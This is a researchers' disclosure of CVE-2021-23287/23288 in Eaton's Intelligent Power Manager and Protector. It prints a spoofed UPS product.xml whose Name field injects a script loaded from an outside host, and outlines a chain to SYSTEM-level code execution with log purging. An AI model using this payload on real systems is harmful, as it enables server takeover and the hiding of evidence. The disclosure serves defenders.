Eaton%20Intelligent%20Power%20Manager%20Editions

Eaton Intelligent Power Manager (IPM)

< v.1.70

CVE-2021-23287

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-352: Cross-Site Request Forgery

Eaton Intelligent Power Protector (IPP)

< v.1.70

CVE-2021-23288

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-352: Cross-Site Request Forgery

About the vulnerabilities

Improper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks. Intelligent power manager (IPM) share the same vulnarability as Intelligent Power Protector (IPP). Both can be exploited by putting a fake product.xml on a webserver running on the local subnet, thereby impersonating an UPS and inject XSS (Cross Site Scripting) in the field "Name". When the fake UPS is discovered by IPP/IPM, it is registered in the web interface. The payload will trigger when an administrator views the device-page. The payloads are different in IPP and IPM.

Injecting Stored XSS (Cross site scripting) in admin-panel by serving a modified product.xml on the local network, using CSRF (Cross Site Request Forgery), to achieve RCE (Remote Code Execution) on the server as System account.

POC Video


Using this XSS, and bypassing the "Content Security Policy", it is possible to steal the administrators SessionID cookie using CSRF (Cross Site Request Forgery) and do XHR requests as the administrator. Gaining RCE (Remote Code Execution) as System-account. This exploit will do this tasks:

  1. Adds a "action". (The command to be run)
  2. Tests the action. (Runs it) On a Windows server, this will be run as "NT System" and on the Linux virtual appliance, it will be run as root.
  3. Removes the action, leaving other actions untouched.
  4. Purges logs (removes evidence)

Eaton UPS devices serves xml-files via a webservice. When you run discovery from the management interface, SNMP combined with querying for files on port 80 are used to collect information about devices on the network. Putting up a webserver on the local network, serving the files requested, makes it possible to place a stored XSS as the XML-files values are not sanitized. In this POC, we use a staged payload, because the payload is massive. It has to be served on a https-webserver, as the management runs on https.

product.xml
<?xml version="1.0" encoding="utf-8"?>
<PRODUCT_INFO name="Power Xpert Gateway Card<iframe/style='position:absolute;top:-9999px'/srcdoc='<script src=https://f20.be/xss2.js></script>'>)/>" type="PXGX UPS" version="2.4.0.1-ups" protocol="XML.V4">
    <SUMMARY>
        <HTML_PROPERTIES_PAGE url="content/index.shtml?upscfg" protocol="http"/>
        <XML_SUMMARY_PAGE url="upsprop.xml" protocol="http" authentication="data:hmac-sha-1"/>
    </SUMMARY>
    <ALARMS>
        <SUBSCRIPTION url="subscribe.xml" protocol="tcp" port="4679" authentication="hmac-sha-1"/>
        <BROADCAST ipAddress="255.255.255.255" protocol="udp" port="4680" authentication="hmac-sha-1"/>
    </ALARMS>
    <ENDPOINT id="MASTER" name="Power Xpert Gateway Card" class="UPS.DEV">
        <GET_OBJECT url="get_obj.xml" protocol="http" authentication="data:hmac-sha-1"/>
        <GET_CONFIG url="get_cfg.xml" protocol="http"/>
        <SET_OBJECT url="set_obj.xml" protocol="http" authentication="user:hmac-sha-1"/>
    </ENDPOINT>
</PRODUCT_INFO>

Also serving file "upsprop.xml" to make in look even more like a real UPS.

upsprop.xml
<?xml version="1.0" encoding="utf-8"?>
<SUMMARY authentication="760088ed94814b4fc403d3591a62469ae5c7bdcb">
<OBJECT name="System.Description">9355</OBJECT>
<OBJECT name="UPS.PowerSummary.iProduct">9355</OBJECT>
<OBJECT name="UPS.PowerSummary.iSerialNumber">BG113JBA05</OBJECT>
<OBJECT name="UPS.PowerSummary.iVersion">1.12</OBJECT>
<OBJECT name="UPS.PowerSummary.PresentStatus.BelowRemainingCapacityLimit">0</OBJECT>
<OBJECT name="UPS.PowerSummary.PresentStatus.NeedReplacement">0</OBJECT>
<OBJECT name="UPS.PowerSummary.PresentStatus.NeedReplacement">0</OBJECT>
<OBJECT name="UPS.PowerConverter.Input[4].PresentStatus.Used">0</OBJECT>
<OBJECT name="UPS.PowerSummary.PresentStatus.Overload">0</OBJECT>
<OBJECT name="UPS.PowerSummary.PresentStatus.ShutdownImminent">0</OBJECT>
<OBJECT name="UPS.PowerSummary.PresentStatus.CompatibilityFailure">0</OBJECT>
<OBJECT name="UPS.PowerSummary.PresentStatus.InternalFailure">0</OBJECT>
<OBJECT name="UPS.PowerSummary.PresentStatus.Discharging">0</OBJECT>
<OBJECT name="UPS.PowerSummary.iModel">15000</OBJECT>
<OBJECT name="UPS.Flow[4].ConfigApparentPower">15000</OBJECT>
<OBJECT name="UPS.Flow[4].ConfigActivePower">13500</OBJECT>
<OBJECT name="UPS.OutletSystem.Outlet[1].PresentStatus.Switchable">1</OBJECT>
<OBJECT name="UPS.PowerSummary.RunTimeToEmpty">8032</OBJECT>
<OBJECT name="UPS.PowerSummary.RemainingCapacity">97</OBJECT>
<OBJECT name="UPS.PowerSummary.DelayBeforeStartup">-1</OBJECT>
<OBJECT name="UPS.PowerConverter.Output.ActivePower">2303</OBJECT>
<OBJECT name="UPS.PowerSummary.PresentStatus.Good">1</OBJECT>
<OBJECT name="UPS.PowerConverter.Input[2].PresentStatus.Used">0</OBJECT>
<OBJECT name="UPS.PowerConverter.Input[4].PresentStatus.Used">0</OBJECT>
<OBJECT name="UPS.PowerSummary.PresentStatus.ACPresent">1</OBJECT>
<OBJECT name="System.Bitmap">https://f20.be/pwned.gif</OBJECT>
<OBJECT name="System.Location">Your Site</OBJECT>
<OBJECT name="System.Contact"><s>Your Contact</OBJECT>
<OBJECT name="System.LastAcquisition">2021/07/21-01:22:42</OBJECT>
<OBJECT name="System.Outlet[1].ShutdownDuration">30</OBJECT>
<OBJECT name="System.PowerSummary.ShutoffControl">1</OBJECT>
<OBJECT name="System.ShutdownDuration">30</OBJECT>
<OBJECT name="System.ShutdownTimer">0</OBJECT>
<OBJECT name="System.Time">1626848562</OBJECT>
<OBJECT name="UPS.OutletSystem.Outlet[1].DelayBeforeShutdown">-1</OBJECT>
<OBJECT name="UPS.PowerConverter.ConverterType">3</OBJECT>
<OBJECT name="UPS.PowerSummary.DelayBeforeShutdown">-1</OBJECT>
<OBJECT name="UPS.PowerSummary.DelayBeforeStartup">-1</OBJECT>
</SUMMARY>

Payload IPP

xss.js

Payload IPM

xss2.js

Eaton advisories

IPP

IPM

Keep safe, keep patched!

Andreas Finstad @4nqr34z and Arthur Donkers @theart42